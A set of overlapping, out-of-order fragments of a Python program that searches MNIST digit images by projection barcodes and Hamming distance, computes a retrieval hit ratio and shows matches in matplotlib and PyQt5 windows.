"= plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming Distance: {}\".format(minHMD)) rows, columns = 2, 2 selectedImage =",
"Make sure that we are using QT5 matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt from",
"display the accuracy input(\"Yes I have read the above notes. Press Enter to",
"= QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav = NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_()) if __name__",
"above notes. Press Enter to DISPLAY ALL THE RESULTS at Once...\") print(\"\\n\\n\\nSearching all",
"set the current barcode as imageLoc = self.imageLocations[i] resultDigitGroup = imageLoc.split(\"_\", 1)[0] if",
"and finding results...\") print(\"Once you get the window maximize the window and scrolldown",
"for c, imageName in enumerate(os.listdir(directory)): print(c , \" - \", imageName) selectImage =",
"fontsize=9, y=0.90) fig.add_subplot(rows, cols, sii+1) plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath, fontsize=9, y=0.90) return fig import",
"resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) from create_barcode_image import BarcodeImageGenerator as",
"import constants import os import math import matplotlib.pyplot as plt import time def",
"every file in the directory selectedImagePath = os.path.join(directory, imageName) print(\"Checking image {}\".format(os.path.join(directory, imageName)))",
"input(\"Yes I have read the above notes. Press Enter to continue...\") print(\"\\n\\n\\nEnter a",
"a number smaller than 0 or greater than 9 to exit the search",
"Enter to DISPLAY ALL THE RESULTS at Once...\") print(\"\\n\\n\\nSearching all the images in",
"distance + 1) by default minBarcode = None # barcode that corresponds to",
"= os.path.join(directory, imageName) print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) hmd, resultBarcode,",
"for imageName in os.listdir(directory): # loop thorugh every file in the directory print(\"Checking",
"__name__ == \"__main__\": print(\"Search Menu\") print(\"Calculate Accuracy Hit Ratio\") print(\"Show All Results at",
"by 255 to get 0 or 1 which is there is pixel or",
"row_sum = 0 # initialize row pixel counter for pixel in row: #",
"minBarcode = barcode imageLoc = imageLocations[i] print(\"Result:\") print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage Location: {}\".format(imageLoc)) print(\"\\tBarcode:",
"# create image from thresholded 2d image array barcode = [] degree =",
"calculated hamming distance minBarcode = barcode # set the current barcode as imageLoc",
"distance to current calculated hamming distance minBarcode = barcode # set the current",
"1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) sii = currDigit*20+i fig.add_subplot(rows,",
"create_barcode(imagePath): barcode = [] opcv = cv2.imread(imagePath, 0) # read image file as",
"2d image array barcode = [] degree = constants.MIN_DEGREE while degree < constants.MAX_DEGREE:",
"number by 255 to get 0 or 1 which is there is pixel",
"time def hammingDistance(v1, v2): t = 0 for i in range(len(v1)): if v1[i]",
"= 0 for i in range(len(v1)): if v1[i] != v2[i]: t += 1",
"fig.add_subplot(rows, columns, 3) plt.imshow(searchBarcodeImage) plt.axis(\"off\") plt.title(\"Search Barcode\") fig.add_subplot(rows, columns, 4) plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result",
"7)) fig.suptitle(\"Hamming Distance: {}\".format(minHMD)) rows, columns = 2, 2 selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath",
"open('./thresholds.txt', 'r') as f: threshold = f.readline() while threshold: threshold = threshold.rstrip(\"\\n\") thresholds.append(float(threshold))",
"plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath, fontsize=9, y=0.90) return fig import matplotlib # Make sure that",
"barcodes = [] with open(\"barcodes.txt\", 'r') as f: line = f.readline() while line:",
"loop through 0 to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for",
"i in range(1, 20, 2)), os.listdir(directory)): # loop thorugh every file in the",
"range(1, 20, 2)), os.listdir(directory)): # loop thorugh every file in the directory selectedImagePath",
"line = line.rstrip(\"\\n\") line = line.split(\",\") imageLocation = line.pop() barcode = [] for",
"I have read the above notes. Press Enter to DISPLAY ALL THE RESULTS",
"i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode,selectedImageBarcode) print(currentHMD) if currentHMD ==",
"dataset and finding results...\") print(\"Once you get the window maximize the window and",
"maximize the window and scrolldown to see the results\") input(\"Yes I have read",
"= cv2.imread(imagePath, 0) # read image file as cv2 image # ret2, th2",
"continue elif currentHMD < minHMD: minHMD = currentHMD minBarcode = barcode imageLoc =",
"currentProjectionThreshold = int(degree / constants.STEP_DEGREE) # find the appropriate threshold index rotated_image =",
"the dataset and finding results...\") print(\"Once you get the window maximize the window",
"then store them into thresholds list thresholds = [] with open('./thresholds.txt', 'r') as",
"t = 0 for i in range(len(v1)): if v1[i] != v2[i]: t +=",
"2 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0 to NUMBER_OF_DIGITS-1 directory =",
"imageLocations def calculateAccuracy(self): accuracy = lambda x : x / 100 successCount =",
"image from above list: \")) selectedImagePath = os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode = create_barcode(selectedImagePath)",
"calculate how many of these not same if currentHMD == 0: # hamming",
"hammingDistance( barcode,selectedImageBarcode) print(currentHMD) if currentHMD == 0: continue elif currentHMD < minHMD: minHMD",
"= Image.fromarray(opcv) # create image from thresholded 2d image array barcode = []",
"sure that we are using QT5 matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt from PyQt5",
"import QtWidgets from matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as FigureCanvas from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as",
"minBarcode = None imageLoc = None for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD",
"matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow): def __init__(self, fig): self.qapp = QtWidgets.QApplication([])",
"the window maximize the window and scrolldown to see the results\") input(\"Yes I",
"variable for holding the success information minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum Hamming Distance.",
"that we are using QT5 matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt from PyQt5 import",
"row in thresholded image row_sum = 0 # initialize row pixel counter for",
"create_barcode(os.path.join(directory, imageName)) hmd, resultBarcode, resultImgLoc = self.findSimilar(searchBarcode) selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = resultImgLoc.split(\"_\",",
"row # thresholds the sum of the row to 1 or 0 based",
"{}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) hmd, resultBarcode, resultImgLoc = self.findSimilar(searchBarcode) selectedImage =",
"int(input(\"enter a digit (0 - 9): \")) while digitFolder >= 0 and digitFolder",
"in line: barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode) line = f.readline() f.close() def create_barcode(imagePath): barcode =",
"0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) # apply threshold it just makes pixel values",
"matplotlib.pyplot as plt import time def hammingDistance(v1, v2): t = 0 for i",
"minHMD: # if the current calculated hamming distance is less than the minimum",
"hammingDistance(v1, v2): t = 0 for i in range(len(v1)): if v1[i] != v2[i]:",
"minimum hamming distance to current calculated hamming distance minBarcode = barcode # set",
"# accuracy calculator print(\"Accuracy is {}\".format(cahr.calculateAccuracy())) # calculate and display the accuracy input(\"Yes",
"= (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum Hamming Distance. It is (maxiumum hamming distance + 1)",
"row: # loop through each pixel in the row pixel = pixel /",
"fig import matplotlib # Make sure that we are using QT5 matplotlib.use('Qt5Agg') import",
"imageLocations): self.barcodes = barcodes self.imageLocations = imageLocations def calculateAccuracy(self): accuracy = lambda x",
"accuracy = lambda x : x / 100 successCount = 0 for currDigit",
"through each row in thresholded image row_sum = 0 # initialize row pixel",
"THE RESULTS at Once...\") print(\"\\n\\n\\nSearching all the images in the dataset and finding",
"index rotated_image = img.rotate(degree) # rotate the image image2d = np.array(rotated_image) # get",
"return barcode class CalculateAccuracyHitRatio: def __init__(self, barcodes, imageLocations): self.barcodes = barcodes self.imageLocations =",
"print(\"\\tHamming Distance: {}\\n\\tResult Image: {}\".format(hd, resultImgLoc)) # time.sleep(0.5/4) if s: successCount += 1",
"in zip((i for i in range(1, 20, 2)), os.listdir(directory)): # loop thorugh every",
"have read the above notes. Press Enter to continue...\") si = SearchSimilar() #",
"holding the success information minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum Hamming Distance. It is",
"the above notes. Press Enter to continue...\") si = SearchSimilar() # search menu",
"= os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage = cv2.imread(resultImagePath) from create_barcode_image import BarcodeImageGenerator as big",
"imageName in os.listdir(directory): # loop thorugh every file in the directory print(\"Checking image",
"in range(constants.NUMBER_OF_DIGITS): # loop through 0 to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit",
"1)[0] if int(resultDigitGroup) == int(searchDigitGroup): success = True return success, minHMD, imageLoc, minBarcode",
"same if currentHMD == 0: # hamming distance 0 means the barcodes are",
"if v1[i] != v2[i]: t += 1 return t # read thresholds from",
"minHMD, imageLoc, minBarcode class SearchSimilar: def __init__(self): self.digitSelectMenu() def findSimilar(self, inputBarcode): minHMD =",
"barcode = [] for bit in line: barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode) line = f.readline()",
"if s: successCount += 1 hitRatio = accuracy(successCount) return hitRatio def checkSuccess(self, searchBarcode,",
"minBarcode, imageLoc def digitSelectMenu(self): digitFolder = int(input(\"enter a digit (0 - 9): \"))",
"cv2.imread(resultImagePath) from create_barcode_image import BarcodeImageGenerator as big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage =",
"FigureCanvas from matplotlib.backends.backend_qt5agg import NavigationToolbar2QT as NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow): def __init__(self, fig): self.qapp",
"inputBarcode): minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc = None for i,",
"get 0 or 1 which is there is pixel or there is not",
"threshold = f.readline() f.close() # read barcode and image location from barcodes.txt file",
"= cv2.imread(resultImagePath) from create_barcode_image import BarcodeImageGenerator as big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage",
"9 to exit the search menu\") print(\"Once you exit Search Menu you will",
"time.sleep(0.5/4) if s: successCount += 1 hitRatio = accuracy(successCount) return hitRatio def checkSuccess(self,",
"minHMD = currentHMD minBarcode = barcode imageLoc = imageLocations[i] print(\"Result:\") print(\"\\tHD: {}\".format(minHMD)) print(\"\\tImage",
"for i in range(1, 20, 2)), os.listdir(directory)): # loop thorugh every file in",
"by STEP_DEGREE currentProjectionThreshold = int(degree / constants.STEP_DEGREE) # find the appropriate threshold index",
"self.findSimilar(searchBarcode) selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = resultImgLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1]))",
"print(\"\\n\\n\\nEnter a number between 0 and 9 to search image\") print(\"Enter a number",
"exit the search menu\") print(\"Once you exit Search Menu you will get Calculate",
"in os.listdir(directory): # loop thorugh every file in the directory print(\"Checking image {}\".format(os.path.join(directory,",
"cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns, 1) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(\"Search Image\") fig.add_subplot(rows, columns, 2) plt.imshow(resultImage) plt.axis(\"off\")",
"SearchSimilar: def __init__(self): self.digitSelectMenu() def findSimilar(self, inputBarcode): minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode =",
"QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget = QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig = fig self.canvas",
"2, 2 selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = imageLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0],",
"os.listdir(directory)): # loop thorugh every file in the directory selectedImagePath = os.path.join(directory, imageName)",
"= fig self.canvas = FigureCanvas(self.fig) self.canvas.draw() self.scroll = QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav = NavigationToolbar(self.canvas,",
"fig self.canvas = FigureCanvas(self.fig) self.canvas.draw() self.scroll = QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav = NavigationToolbar(self.canvas, self.widget)",
"not same if currentHMD == 0: # hamming distance 0 means the barcodes",
"scrolldown to see the results\") input(\"Yes I have read the above notes. Press",
"line = f.readline() f.close() def create_barcode(imagePath): barcode = [] opcv = cv2.imread(imagePath, 0)",
"1 or 0 based on calculated threshold if row_sum >= thresholds[currentProjectionThreshold]: barcode.append(1) else:",
"/ 100 successCount = 0 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0",
"- \", imageName) selectImage = int(input(\"select image from above list: \")) selectedImagePath =",
"thresholds the sum of the row to 1 or 0 based on calculated",
"line: line = line.rstrip(\"\\n\") line = line.split(\",\") imageLocation = line.pop() barcode = []",
"print(\"Once you exit Search Menu you will get Calculate Accuracy Hit Ratio \")",
"CalculateAccuracyHitRatio: def __init__(self, barcodes, imageLocations): self.barcodes = barcodes self.imageLocations = imageLocations def calculateAccuracy(self):",
"= line.split(\",\") imageLocation = line.pop() barcode = [] for bit in line: barcode.append(int(bit))",
"return hitRatio def checkSuccess(self, searchBarcode, searchDigitGroup): success = False # variable for holding",
"showAllResults(self): fig = plt.figure(figsize=(16,100), dpi=100) rows, cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for currDigit in",
"numpy as np import constants import os import math import matplotlib.pyplot as plt",
"barcode.append(int(bit)) imageLocations.append(imageLocation) barcodes.append(barcode) line = f.readline() f.close() def create_barcode(imagePath): barcode = [] opcv",
"plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9, y=0.90) fig.add_subplot(rows, cols, sii+1) plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath, fontsize=9, y=0.90) return",
"= plt.figure(figsize=(16,100), dpi=100) rows, cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2 for currDigit in range(constants.NUMBER_OF_DIGITS): #",
"= [] with open(\"barcodes.txt\", 'r') as f: line = f.readline() while line: line",
"= self.findSimilar(searchBarcode) selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = resultImgLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0],",
"minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc = None for i, barcode",
"checkSuccess(self, searchBarcode, searchDigitGroup): success = False # variable for holding the success information",
"thresholds.txt and then store them into thresholds list thresholds = [] with open('./thresholds.txt',",
"\"__main__\": print(\"Search Menu\") print(\"Calculate Accuracy Hit Ratio\") print(\"Show All Results at Once\") input(\"Yes",
"get the window maximize the window and scrolldown to see the results\") input(\"Yes",
"either black or white img = Image.fromarray(opcv) # create image from thresholded 2d",
"file in the directory print(\"Checking image {}\".format(os.path.join(directory, imageName))) searchBarcode = create_barcode(os.path.join(directory, imageName)) s,",
"barcode imageLoc = imageLocations[i] return minHMD, minBarcode, imageLoc def digitSelectMenu(self): digitFolder = int(input(\"enter",
"the same image continue # skip elif currentHMD < minHMD: # if the",
"<= 9: directory = r'.\\MNIST_DS\\{}'.format(digitFolder) for c, imageName in enumerate(os.listdir(directory)): print(c , \"",
"\" - \", imageName) selectImage = int(input(\"select image from above list: \")) selectedImagePath",
"= cv2.threshold(opcv, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) # apply threshold it just makes",
"# digit folder path for imageName in os.listdir(directory): # loop thorugh every file",
"currentHMD # then set minimum hamming distance to current calculated hamming distance minBarcode",
"import matplotlib.pyplot as plt import time def hammingDistance(v1, v2): t = 0 for",
"current calculated hamming distance is less than the minimum hamming distance minHMD =",
"resultImgLoc = self.findSimilar(searchBarcode) selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = resultImgLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\",",
"location from barcodes.txt file imageLocations = [] barcodes = [] with open(\"barcodes.txt\", 'r')",
"0 # initialize row pixel counter for pixel in row: # loop through",
"sum of the row to 1 or 0 based on calculated threshold if",
"through 0 to NUMBER_OF_DIGITS-1 directory = r'./MNIST_DS/{}'.format(currDigit) # digit folder path for imageName",
"print(selectedImagePath) selectedImageBarcode = create_barcode(selectedImagePath) minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode = None imageLoc =",
"Menu you will get Calculate Accuracy Hit Ratio \") input(\"Yes I have read",
"Press Enter to continue...\") si = SearchSimilar() # search menu print(\"\\n\\n\\nCalculating accuracy hit",
">= 0 and digitFolder <= 9: directory = r'.\\MNIST_DS\\{}'.format(digitFolder) for c, imageName in",
"0 for currDigit in range(constants.NUMBER_OF_DIGITS): # loop through 0 to NUMBER_OF_DIGITS-1 directory =",
"using QT5 matplotlib.use('Qt5Agg') import matplotlib.pyplot as plt from PyQt5 import QtWidgets from matplotlib.backends.backend_qt5agg",
"enumerate(os.listdir(directory)): print(c , \" - \", imageName) selectImage = int(input(\"select image from above",
"print(\"\\n\\n\\nCalculating accuracy hit ratio...\") cahr = CalculateAccuracyHitRatio(barcodes, imageLocations) # accuracy calculator print(\"Accuracy is",
"hamming distance minBarcode = barcode # set the current barcode as imageLoc =",
"f.close() # read barcode and image location from barcodes.txt file imageLocations = []",
"notes. Press Enter to continue...\") si = SearchSimilar() # search menu print(\"\\n\\n\\nCalculating accuracy",
"# variable for holding the success information minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 # Minimum Hamming",
"== 0: # hamming distance 0 means the barcodes are identical which means",
"the minimum hamming distance imageLoc = None # result image location for i,",
"values either black or white img = Image.fromarray(opcv) # create image from thresholded",
"= None # result image location for i, barcode in enumerate(self.barcodes): # loop",
"< constants.MAX_DEGREE: # loop through MIN_DEGREE to MAX_DEGREE by STEP_DEGREE currentProjectionThreshold = int(degree",
"imageName)) hmd, resultBarcode, resultImgLoc = self.findSimilar(searchBarcode) selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = resultImgLoc.split(\"_\", 1)",
"# result image location for i, barcode in enumerate(self.barcodes): # loop through every",
"barcode and image location from barcodes.txt file imageLocations = [] barcodes = []",
"self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_()) if __name__ == \"__main__\": print(\"Search Menu\") print(\"Calculate Accuracy Hit Ratio\")",
"QtWidgets.QMainWindow.__init__(self) self.widget = QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig = fig self.canvas =",
"# then set minimum hamming distance to current calculated hamming distance minBarcode =",
"than 0 or greater than 9 to exit the search menu\") print(\"Once you",
"9): \")) def showAllResults(self): fig = plt.figure(figsize=(16,100), dpi=100) rows, cols = constants.NUMBER_OF_DIGITS*constants.NUMBER_IMAGES, 2",
"self.nav = NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav) self.widget.layout().addWidget(self.scroll) self.show() exit(self.qapp.exec_()) if __name__ == \"__main__\": print(\"Search",
"them into thresholds list thresholds = [] with open('./thresholds.txt', 'r') as f: threshold",
"0: # hamming distance 0 means the barcodes are identical which means they",
"cv2.imread(resultImagePath) sii = currDigit*20+i fig.add_subplot(rows, cols, sii) plt.imshow(selectedImage) plt.axis(\"off\") plt.title(selectedImagePath, fontsize=9, y=0.90) fig.add_subplot(rows,",
"imageName) selectImage = int(input(\"select image from above list: \")) selectedImagePath = os.path.join(directory, os.listdir(directory)[selectImage])",
"= None imageLoc = None for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD =",
"in both barcodes and calculate how many of these not same if currentHMD",
"either 0 or 255 as a pixel value divide this number by 255",
"each row in thresholded image row_sum = 0 # initialize row pixel counter",
"= self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming Distance: {}\\n\\tResult Image: {}\".format(hd, resultImgLoc)) # time.sleep(0.5/4) if s:",
"# Minimum Hamming Distance. It is (maxiumum hamming distance + 1) by default",
"9: directory = r'.\\MNIST_DS\\{}'.format(digitFolder) for c, imageName in enumerate(os.listdir(directory)): print(c , \" -",
"v2[i]: t += 1 return t # read thresholds from thresholds.txt and then",
"= constants.MIN_DEGREE while degree < constants.MAX_DEGREE: # loop through MIN_DEGREE to MAX_DEGREE by",
"as big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows,",
"enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode,selectedImageBarcode) print(currentHMD) if currentHMD == 0: continue elif",
"fig): self.qapp = QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self) self.widget = QtWidgets.QWidget() self.setCentralWidget(self.widget) self.widget.setLayout(QtWidgets.QVBoxLayout()) self.widget.layout().setContentsMargins(0,0,0,0) self.widget.layout().setSpacing(0) self.fig",
"loop through every barcode in the barcodes list currentHMD = hammingDistance( barcode, searchBarcode)",
"finding results...\") print(\"Once you get the window maximize the window and scrolldown to",
"th2 = cv2.threshold(opcv, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) # apply threshold it just",
"have either 0 or 255 as a pixel value divide this number by",
"and digitFolder <= 9: directory = r'.\\MNIST_DS\\{}'.format(digitFolder) for c, imageName in enumerate(os.listdir(directory)): print(c",
"I have read the above notes. Press Enter to continue...\") fig = si.showAllResults()",
"fig.suptitle(\"Hamming Distance: {}\".format(minHMD)) rows, columns = 2, 2 selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath =",
"self.canvas = FigureCanvas(self.fig) self.canvas.draw() self.scroll = QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav = NavigationToolbar(self.canvas, self.widget) self.widget.layout().addWidget(self.nav)",
"plt.title(\"Search Barcode\") fig.add_subplot(rows, columns, 4) plt.imshow(resultBarcodeImage) plt.axis(\"off\") plt.title(\"Result Barcode\") plt.show() digitFolder = int(input(\"enter",
"import NavigationToolbar2QT as NavigationToolbar class ScrollableWindow(QtWidgets.QMainWindow): def __init__(self, fig): self.qapp = QtWidgets.QApplication([]) QtWidgets.QMainWindow.__init__(self)",
"2)), os.listdir(directory)): # loop thorugh every file in the directory selectedImagePath = os.path.join(directory,",
"threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold = f.readline() f.close() # read barcode and image location from",
"barcode, searchBarcode) # check each bit in both barcodes and calculate how many",
"def digitSelectMenu(self): digitFolder = int(input(\"enter a digit (0 - 9): \")) while digitFolder",
"window and scrolldown to see the results\") input(\"Yes I have read the above",
"searchBarcode = create_barcode(os.path.join(directory, imageName)) s, hd, resultImgLoc, resultImgBarcode = self.checkSuccess(searchBarcode, currDigit) print(\"\\tHamming Distance:",
"else: barcode.append(0) degree += constants.STEP_DEGREE return barcode class CalculateAccuracyHitRatio: def __init__(self, barcodes, imageLocations):",
"currentHMD minBarcode = barcode imageLoc = imageLocations[i] return minHMD, minBarcode, imageLoc def digitSelectMenu(self):",
"import os import math import matplotlib.pyplot as plt import time def hammingDistance(v1, v2):",
"into thresholds list thresholds = [] with open('./thresholds.txt', 'r') as f: threshold =",
"big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\") fig.add_subplot(rows, columns, 1) plt.imshow(selectedImage) plt.axis(\"off\")",
"than the minimum hamming distance minHMD = currentHMD # then set minimum hamming",
"above notes. Press Enter to continue...\") print(\"\\n\\n\\nEnter a number between 0 and 9",
"results...\") print(\"Once you get the window maximize the window and scrolldown to see",
"{}\".format(imageLoc)) print(\"\\tBarcode: {}\".format(minBarcode)) fig = plt.figure(figsize=(10, 7)) fig.suptitle(\"Hamming Distance: {}\".format(minHMD)) rows, columns =",
"you get the window maximize the window and scrolldown to see the results\")",
"self.widget.layout().setSpacing(0) self.fig = fig self.canvas = FigureCanvas(self.fig) self.canvas.draw() self.scroll = QtWidgets.QScrollArea(self.widget) self.scroll.setWidget(self.canvas) self.nav",
"= threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold = f.readline() f.close() # read barcode and image location",
"plt.title(selectedImagePath, fontsize=9, y=0.90) fig.add_subplot(rows, cols, sii+1) plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath, fontsize=9, y=0.90) return fig",
"image # ret2, th2 = cv2.threshold(opcv, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU) # apply",
"search menu\") print(\"Once you exit Search Menu you will get Calculate Accuracy Hit",
"i in range(len(v1)): if v1[i] != v2[i]: t += 1 return t #",
"to MAX_DEGREE by STEP_DEGREE currentProjectionThreshold = int(degree / constants.STEP_DEGREE) # find the appropriate",
"by default minBarcode = None # barcode that corresponds to the minimum hamming",
"for pixel in row: # loop through each pixel in the row pixel",
"True return success, minHMD, imageLoc, minBarcode class SearchSimilar: def __init__(self): self.digitSelectMenu() def findSimilar(self,",
"int(input(\"enter a digit (0 - 9): \")) def showAllResults(self): fig = plt.figure(figsize=(16,100), dpi=100)",
"image\") print(\"Enter a number smaller than 0 or greater than 9 to exit",
"BarcodeImageGenerator as big big.generate_barcode_image(selectedImageBarcode, r\".\\temp\\searchImage.png\") big.generate_barcode_image(minBarcode, r\".\\temp\\resultImage.png\") searchBarcodeImage = cv2.imread(r\".\\temp\\searchImage.png\") resultBarcodeImage = cv2.imread(r\".\\temp\\resultImage.png\")",
"selectedImagePath = os.path.join(directory, os.listdir(directory)[selectImage]) print(selectedImagePath) selectedImageBarcode = create_barcode(selectedImagePath) minHMD = (constants.IMAGE_SIZE*constants.NUM_PROJECTIONS)+1 print(minHMD) minBarcode",
"image array barcode = [] degree = constants.MIN_DEGREE while degree < constants.MAX_DEGREE: #",
"# time.sleep(0.5/4) if s: successCount += 1 hitRatio = accuracy(successCount) return hitRatio def",
"t # read thresholds from thresholds.txt and then store them into thresholds list",
"= accuracy(successCount) return hitRatio def checkSuccess(self, searchBarcode, searchDigitGroup): success = False # variable",
"digit folder path for i, imageName in zip((i for i in range(1, 20,",
", \" - \", imageName) selectImage = int(input(\"select image from above list: \"))",
"the results\") input(\"Yes I have read the above notes. Press Enter to continue...\")",
"thresholds[currentProjectionThreshold]: barcode.append(1) else: barcode.append(0) degree += constants.STEP_DEGREE return barcode class CalculateAccuracyHitRatio: def __init__(self,",
"successCount += 1 hitRatio = accuracy(successCount) return hitRatio def checkSuccess(self, searchBarcode, searchDigitGroup): success",
"for i, barcode in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode, inputBarcode) print(currentHMD) if",
"= SearchSimilar() # search menu print(\"\\n\\n\\nCalculating accuracy hit ratio...\") cahr = CalculateAccuracyHitRatio(barcodes, imageLocations)",
"if currentHMD == 0: # hamming distance 0 means the barcodes are identical",
"a number between 0 and 9 to search image\") print(\"Enter a number smaller",
"r'./MNIST_DS/{}'.format(currDigit) # digit folder path for imageName in os.listdir(directory): # loop thorugh every",
"path for i, imageName in zip((i for i in range(1, 20, 2)), os.listdir(directory)):",
"each pixel in the row pixel = pixel / 255 # since we",
"to 1 or 0 based on calculated threshold if row_sum >= thresholds[currentProjectionThreshold]: barcode.append(1)",
"= f.readline() while threshold: threshold = threshold.rstrip(\"\\n\") thresholds.append(float(threshold)) threshold = f.readline() f.close() #",
"cols, sii+1) plt.imshow(resultImage) plt.axis(\"off\") plt.title(resultImagePath, fontsize=9, y=0.90) return fig import matplotlib # Make",
"the rotated image for row in image2d: # loop through each row in",
"as cv2 image # ret2, th2 = cv2.threshold(opcv, 0, 255, cv2.THRESH_BINARY + cv2.THRESH_OTSU)",
"os.listdir(directory): # loop thorugh every file in the directory print(\"Checking image {}\".format(os.path.join(directory, imageName)))",
"selectedImage = cv2.imread(selectedImagePath) resultImageRelativePath = resultImgLoc.split(\"_\", 1) resultImagePath = os.path.join(r\".\\MNIST_DS\", r\"{}\\{}\".format(resultImageRelativePath[0], resultImageRelativePath[1])) resultImage",
"def __init__(self, barcodes, imageLocations): self.barcodes = barcodes self.imageLocations = imageLocations def calculateAccuracy(self): accuracy",
"in enumerate(barcodes): print(imageLocations[i]) currentHMD = hammingDistance( barcode, inputBarcode) print(currentHMD) if currentHMD == 0:",
